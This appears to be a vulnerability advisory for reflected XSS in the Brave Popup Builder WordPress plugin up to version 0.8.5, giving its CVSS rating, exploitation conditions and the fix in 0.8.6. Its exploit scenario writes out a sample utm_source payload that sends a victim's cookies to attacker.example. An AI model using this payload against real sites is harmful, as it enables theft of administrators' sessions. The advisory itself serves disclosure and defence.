EUVD-2026-64638
GHSA-x2v4-r59f-8jxr
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Reflected XSS via URL parameter is network-delivered with no privileges; scope changes at browser boundary; availability impact removed as XSS does not affect server uptime.
Primary rating from Vendor (wpscan).
CVSS VectorVendor: wpscan
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Lifecycle Timeline
4DescriptionCVE.org
Brave Popup Builder (brave-popup-builder) up to version 0.8.5 reflects UTM query parameters into popup form HTML without escaping them.
AnalysisAI
Reflected cross-site scripting in the Brave Popup Builder WordPress plugin (versions up to 0.8.5) allows unauthenticated remote attackers to inject arbitrary JavaScript into a victim's browser by crafting a malicious URL containing unsanitized UTM query parameters that are reflected directly into popup form HTML. Exploitation requires the victim to follow a crafted link, making phishing the primary delivery mechanism. …
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that: (1) the target WordPress site has the Brave Popup Builder plugin installed and active at version 0.8.5 or earlier; (2) at least one page on the site renders a popup form that includes UTM parameter reflection - i.e., the popup is configured to display on a page accessible to unauthenticated visitors or the targeted user; (3) the victim actively navigates to the attacker-controlled URL (UI:R), making social engineering or a compromised referral link necessary. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 base score of 7.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L) correctly captures a network-accessible, low-complexity reflected XSS with scope change, moderated by the mandatory user interaction (UI:R). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker crafts a URL pointing to a WordPress page that renders a Brave Popup Builder popup, appending a malicious UTM parameter such as utm_source=<script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The attacker delivers this URL to a logged-in WordPress administrator via a phishing email or social media message. … |
| Remediation | The vendor has released a patch: upgrade Brave Popup Builder to version 0.8.6 or later via the WordPress plugin dashboard or by downloading directly from the WordPress plugin repository. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, audit your WordPress installations to identify sites running Brave Popup Builder and document current versions. …
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Same weakness CWE-79 – Cross-site Scripting (XSS)
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External POC / Exploit Code
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